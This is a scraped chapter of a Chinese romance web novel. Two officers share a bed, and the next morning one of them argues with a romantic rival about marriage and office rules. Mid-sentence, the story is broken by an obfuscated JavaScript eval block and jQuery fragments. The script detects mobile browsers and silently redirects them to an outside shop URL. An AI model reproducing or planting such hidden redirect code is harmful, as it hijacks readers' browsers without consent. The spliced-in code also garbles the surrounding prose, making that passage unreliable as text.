夜色朦胧,如水的月光顺着窗棂倾泄进屋,洒在光洁的床榻边。
万籁俱静之中,一个形如鬼魅的黑影垫着步子,机警地在廊下四处张望,而后熟练准确的拉开屋门,闪身进屋。
动作一气呵成,丝滑如流水,仿似排练过千百遍。
那黑影进屋之后,脚下飞快,直奔床榻而去——撩开帐子一瞧,心心念念的人穿着寝衣,坐在床上,在暗中朝他眨眼睛,笑嘻嘻道:“你来啦!”
“乖乖,等久了罢?”秦艽弯下身摸摸她的脸蛋,“困不困?”
他不问还好,一问薛灵玥下意识打了个哈切,揉揉眼睛,“有点,你怎么来得这么晚?”
“都怪林逸之那老儿,”秦艽愤愤道,“不说他了,我这就去铺被子守着,你放心睡罢。”
薛灵玥咕哝着应了一声,抬起头,眼睛亮晶晶地看着他。
秦艽心头一软,抓着帐子,犹豫地看了看冰凉的地面,悄声与她打商量:“要不,今夜不睡地上成不成,我身上的伤还疼呢......”
说着,晃了晃才包扎过的胳膊。
“我刚沐浴过......”秦艽脸有点红,仿佛一个向君王邀宠的妃子,羞答答地展示着自己。
但等了半晌她都没说话。
秦艽以为她生气了,连忙退后半步,“其实我睡地上也行......”
说着,老实巴交地去拿柜子里他的铺盖。
“上来罢!”
高贵矜持的君王突然发话了,她大方地拍拍身侧的床榻,“这半儿分你了。”
一句话令他如枯木逢春,徒囚逢赦,黑暗中,秦艽眼睛直冒绿光,三下五除二扒了自己的外衣。
大步走回床榻前,他反而有点踟蹰,这可是女儿家的床榻。
香软温热的,薛灵玥的床榻。
秦艽脑子一热,仿佛有什么东西在体内上下奔涌,胸膛被冲得都要炸开。
薛灵玥抱着被子,湿漉漉的杏眼看着他,“你不上来算了,我可要睡了。”
再犹豫就不是个男人了,他总不能什么事都让她主动罢!
秦艽立马长腿一伸,钻进她热乎乎的被窝里,把人往自己怀里一拉,抱了个满怀。
身体无比契合,他发出一声满足的叹息。
大掌轻拍着薛灵玥的后背,微微低头,在她耳边呢喃:“睡罢,我给你唱摇篮曲?”
“不要,那都是哄小孩的!”薛灵玥有点不情愿地推了推他,“你往后点,热死了!”
叶州地处北境,早晚凉意重,但也耐不住一个大火炉在旁边。薛灵玥有点后悔自己一时心疼,放虎上山。
“你嫌我?”秦艽哼了一声,不退反进,长腿一下锁住她的被子,“再给你一次机会,重说!”
这女郎翻脸比翻书还快,薛灵玥不耐烦地在被子里来回蛄蛹,“哎呀,我热,你离我远点。”
“那我干脆走了算了!”秦艽气哼哼的,听着话的意思就要起身,且等着薛灵玥挽留他呢。
结果话音落下,他没动,她也不说话。
黑暗中,两人对视一眼,同时笑出声来。
秦艽耍赖,娇哼哼地抱紧她,“你怎么不留我呢?”
“反正你又不会走。”薛灵玥拍拍他的手,困意上头,她眼睑渐渐微合。
温热轻浅的呼吸喷在他的喉结,有些痒,但更多的是心头那股隐秘的躁动,引得秦艽下意识淹了口唾沫。
“呦呦......”秦艽忽得声音有些扭捏,躺在她旁边的枕头上,望着她背后的帐子喃喃道:“等回了长安,我去向王大人提亲好不好?”
一日为师终身为父,暂时见不到老岳丈,她师父也是能说得上话的。
薛灵玥神识昏沉,眼看就要堕入梦境,迷迷糊糊听到他的话,一个激灵清醒过来,“不行!”
“啊?”秦艽语调一下拐了八个弯,急火火地把人从自己怀里挖出来。黑暗中,他的两只眼睛瞪得像铜铃,“为什么不行,薛灵玥,咱俩都这样了,你不会想......想对我始乱终弃罢!”
他委屈地嗓门一下拔高,吓得薛灵玥立马扑上来捂他的嘴,“小点声!把人都吵醒怎么办!”
秦艽气呼呼地拉住她的手,“哼,那让他们都来看看你怎么对我的。”
没名没分的,他整日端茶倒水洗衣做饭,现在连暖床的活而都接下了!
薛灵玥趴在他胸前,好笑地睨他一眼,“我怎么对你了?”说着,不安分的小手缩进被子里,去挠他的痒痒肉,口中语气仿似一个调戏良家妇女的恶霸:“你说清楚,我怎么你了,嗯?”
秦艽被她弄得浑身通红,老大的一个人在她床上四处躲闪,强撑着威胁:“你别惹我啊薛灵玥,我警告你......”
“哪里来的小贼这么大胆子,还敢警告我?”薛灵玥嘿嘿一笑,翻身跨起,双腿微曲,得意地勾起嘴角,“说啊,怎么警告我?”
秦艽罕见的一声不吭。
漆黑的帐子里,他一手搂住薛灵玥的脊背,一手按在腰侧,让她趴在自己身上。
薛灵玥一愣,立刻觉出不对劲——这什么东西!
她很快反应过来,这,这是不是就是画本子里......
想起之前从何瑛那处抢来的册子,薛灵玥本能地觉察出一种危险,扭着身子要跑。
但秦艽的手分寸不让,箍着薛灵玥的腰,一手从脊背向上,按着细嫩的后颈将她压进自己怀里,嘴唇急切地凑上来,贴着她圆润盈透的耳珠,热气喷涌,仿佛恨不能立刻就吃了她,“现在知道了,我拿什么警告你?”
“知道了知道了,快点放开我!”她慌张地叫。
若是他手中有一盏灯,便能看清楚,现在薛灵玥脸红得简直能滴血。
静谧的帐子仿佛一方独特的天地。
馨香柔软的身子紧贴着他的,巨大的饱满让人的心尖又酥又麻,冲昏头的秦艽不仅违抗命令,还情不自禁含住了她发颤的耳珠,温柔黏腻地吮了吮。
黑暗中五感封闭,突如其来的触感像巨浪滔天,薛灵玥登时浑身一颤,湿黏温热的口腔包裹着她的耳朵,身体深处涌出一股奇怪的热意。
她咬紧嘴唇,下意识攥紧了秦艽单薄的寝衣。
拉扯几下,脆弱的衣襟便从中间散开。黑暗中,他胸膛半露,鼓胀充血的肌肉泛着莹润的光泽,毫无保留地承受着薛灵玥鼻间喷洒出的,短促而温热的呼吸。
秦艽闷哼一声,绝望地闭上眼。
一时间,两人僵着身体,谁也不敢动,唯有粗重的呼吸彼此交缠。
不知过了多久,秦艽长叹一声,先松开了手,他紧抱着薛灵玥的身子转了个圈,两人侧躺着,面对着面。
他没好气地捏了捏她的脸颊,又忍不住拍拍她的屁股
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836612|184007||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“说,以后还敢不敢惹我!”
薛灵玥嘀咕了一声,秦艽没听清,下意识凑得更近,没想到她猛地去拧他的耳朵,“以后再也不让你上来了!”
秦艽疼得倒吸一口凉气,“疼,真疼疼疼——”
(真的是脖子以上两个人什么都没做求求了)
第二日醒来时,秦艽已经不在榻上了。
薛灵玥视线在屋中转了一圈,确定没人才暗自松了口气,软软地倒回榻上。这会儿时辰还早,应该没人发现。
尤其是师姐和凌师兄,万一他们回去告状可怎么办。
这厢薛灵玥还懒懒地躺在榻上赖床,怎知没人告状,却有人察觉。
府衙官膳,堂中白气弥漫,热雾蒸腾,清晨的露水合着灶上甜糯的香气,四散漾开,氤氲笼罩在两个修身玉立的身影上。
两个郎君并肩而立,一个生得面冠如玉,一个长得出尘俊逸,若不是他们间气氛古怪,似有暗流涌动,怎么看都赏心悦目。
今日秦艽起了个大早,是特意来给薛灵玥拿第一笼蒸饺的。
他晨起时低头一看,便是她小小一只缩在自己怀里的样子。薛灵玥的睡颜难得安静乖巧,鸦羽似的睫毛低垂着,脸蛋儿紧贴他的胸口,唇瓣如未开的花苞,吐出浅浅的热气。
秦艽思及此处,周身洋溢着餍足懒散的快意,拖着调子打了个哈欠,生怕人看不出他才从被窝里爬出来。
裴启淡淡地看了秦艽一眼,朝灶房的仆役道:“听说薛校尉很喜欢官膳的吃食,都有哪几样?”
秦艽暗自冷笑一声。
这对手差得也太远了,自己可是上了榻的正宫,连她爱吃什么都不知道,拿什么跟他争?
越想越是心头火热,秦艽忍不住斜睨对方一眼,呛道:“问我啊,她都事儿还没什么我不知道的。”
那仆役正要答话,闻言看了看两人,一缩头,连忙躲回灶台后面去了。
“秦校尉这般讲,裴某确实无话可说,敢问二位是否好事将近?”相比秦艽的咄咄逼人,裴启显得端方有礼多了。
“这是自然,”秦艽得意一笑,“她有多在意我,昨日裴大人也看见了,往后她的事自有我为她上心,就不劳烦裴大人。”
“大家同朝为官,有什么劳烦的呢。”裴启轻笑,话锋一转,“裴某在御史台任职,对百官风纪略知一二,照《大周六典》,男女官员若行婚配,则不可在同一衙门任职。”
秦艽一愣,眉头蹙起,下意识绷紧身子。
见他这样,裴启嘴角勾起一抹笑意,语气中颇有些稳操胜券的意味:“秦校尉得前任指挥使大人亲传,年纪轻轻便是左卫中最受倚重的校尉,依裴某猜测,二位情投意合,想必是早已商量好了,让薛校尉回家相夫教子?”
武宁卫校尉官职虽低,却是天子近卫,在京中权柄极大,然若外放入仕,没了圣人的庇佑,不过只能做些不入流的小官。
这番话犹如利剑,倏地刺破秦艽心中一直以来的忧虑。
他盼望着,却不知该如何开口与薛灵玥商量这件事。昨夜她那句果断的回绝又浮现在耳边,秦艽垂在身侧的手猛地攥紧,下意识反驳:“这与你有什么干系?”
如此气急败坏,裴启不置可否:“在下愚钝,但薛校尉的才干你看得比我还清楚,她的抱负你了解得比我透彻,所以,将她困于囚笼,便是你的情意所在吗?”